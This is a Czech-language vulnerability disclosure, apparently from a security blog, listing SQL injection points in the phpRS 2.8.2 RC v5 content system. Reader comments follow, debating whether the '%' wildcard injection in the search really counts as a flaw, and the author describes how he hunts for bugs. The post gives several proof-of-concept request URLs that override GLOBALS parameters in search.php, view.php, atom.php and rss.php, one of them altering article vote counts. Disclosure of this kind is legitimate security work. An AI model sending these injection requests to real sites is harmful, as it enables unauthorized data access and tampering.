phpRS 2.8.2 RC v5 Multiple SQL injections

Verze pro tiskPDF verze

V poslední verzi českého redakčního systému phpRS se nachází několik SQL injekcí.

Simple SQL injection
-----------------------------------------
search.php?GLOBALS[rstext]=%

SQL Query Crash
-----------------------------------------
search.php?GLOBALS[rstema]=nic&GLOBALS[rskde]=vse'&GLOBALS[rsautor]=nic&GLOBALS[rsrazeni]=datum_90&GLOBALS[rsvztah]=OR&GLOBALS[rstext]=php

SQL injection - editace počtu hodnocení
-----------------------------------------
view.php?GLOBALS[cisloclanku]=2001061101&GLOBALS[hlasovani]=1,mn_hodnoceni=1000

SQL injection
-----------------------------------------
atom.php?GLOBALS[mnozstvi]=[SQLi]
rss.php?GLOBALS[mnozstvi]=[SQLi]

Volby prohlížení komentářů

Vyberte si, jak chcete zobrazovat komentáře a klikněte na „Uložit změny“.

Dobrá práca

search.php?rstext=%
dá:

SELECT count(c.idc) as pocet FROM rs_clanky as c, rs_levely as l WHERE ((c.titulek LIKE ('%%%') OR c.uvod LIKE ('%%%') OR c.text LIKE ('%%%'))) AND c.visible=1 AND c.datum<='2012-11-19 19:03:21' AND c.level_clanku=l.idl

SELECT c.link,c.seo_link,c.titulek,c.uvod,date_format(c.datum,'%d.%m.%Y') as vyslden,c.tema,c.autor,c.znacky FROM rs_clanky as c, rs_levely as l WHERE ((c.titulek LIKE ('%%%') OR c.uvod LIKE ('%%%') OR c.text LIKE ('%%%'))) AND c.visible=1 AND c.datum<='2012-11-19 19:03:21' AND c.level_clanku=l.idl ORDER BY c.datum desc LIMIT 0,50

Kde je tam chyba? Žiadnu nevidím.

%

Teda chápem, že ak hľadám % systém by ho mal asi správne espacovať, no bezpečnostná chyba to IMHO nie je.

Obrázek uživatele RubberDuck

Zdravím. Chyba nemusí vždy

Zdravím. Chyba nemusí vždy vyústit ve spuštění cizího dotazu, krádež databáze nebo eskalaci práv, aby bylo možné ji považovat za chybu. V tomto případě je "injektován" zástupný znak %, jehož vlastností je, že v dotazu nahrazuje nula nebo více znaků, tedy umožňuje vypsat všechny záznamy z dané tabulky.

Vezměme si příklad webu, kde je formulář pro vyhledávání uživatele, jenž vrací buď přesně nalezené jméno (předpokládejme výpis jména v cyklu) nebo chybu. Předpokládejme, že seznam uživatelů není veřejně přístupný a jediným způsobem, jak si ověřit existenci uživatele, je právě výše zmíněný form. Pokud by tento form byl náchylný na výše zmíněnou chybu, prakticky jediným klikem získávám kompletní obsah celé databáze, aniž bych se musel sebevíc snažit.

Tedy, rozhodně se jedná o chybu (a dokonce bezpečnostní chybu typu SQL injection), ale s prakticky nulovým dopadem.

V každom prípade je to chyba, súhlas.

minimálne preto, lebo sa nedá korektne vyhľadať string obsahujúci znaky % a _. Aj keď prakticky by sa to v tomto prípade dalo chápať ako korektná funkcionalita samotného vyhľadávania (wildcards), prakticky to takto asi myslené nebolo a autor na túto možnosť jednoducho zabudol. Svedčí o tom samotný kód a kultúra zdojákov.

Používaš na hľadanie bezpečnostných dier nejaký automatizovaný nástroj, alebo jednoducho prechádzaš zdrojáky? Lebo občas sa o to snažím, no v kóde, ktorý je pre mňa neprehľadný, sa ťažko orientujem a takéto hľadanie chýb je u mňa dosť neefektívne.

Obrázek uživatele RubberDuck

V závislosti na na cíli a

V závislosti na na cíli a touze něco objevit procházím prakticky třemi stádii vyhledávání:
i. zběžné prohledávání vstupů a analýza chování při zadávání různých znaků
ii. testování pomocí scanneru, který jsem si kdysi dávno psal - prakticky se jen snaží navést na potenciální slabá místa
iii. testování s kontrolními výpisy a ručním procházením kódu - nejpracnější, ale s nejlepšími výsledky
Chce to jen cvik a vědět, co člověk hledá. To se týká hlavně těch obecně známých chyb.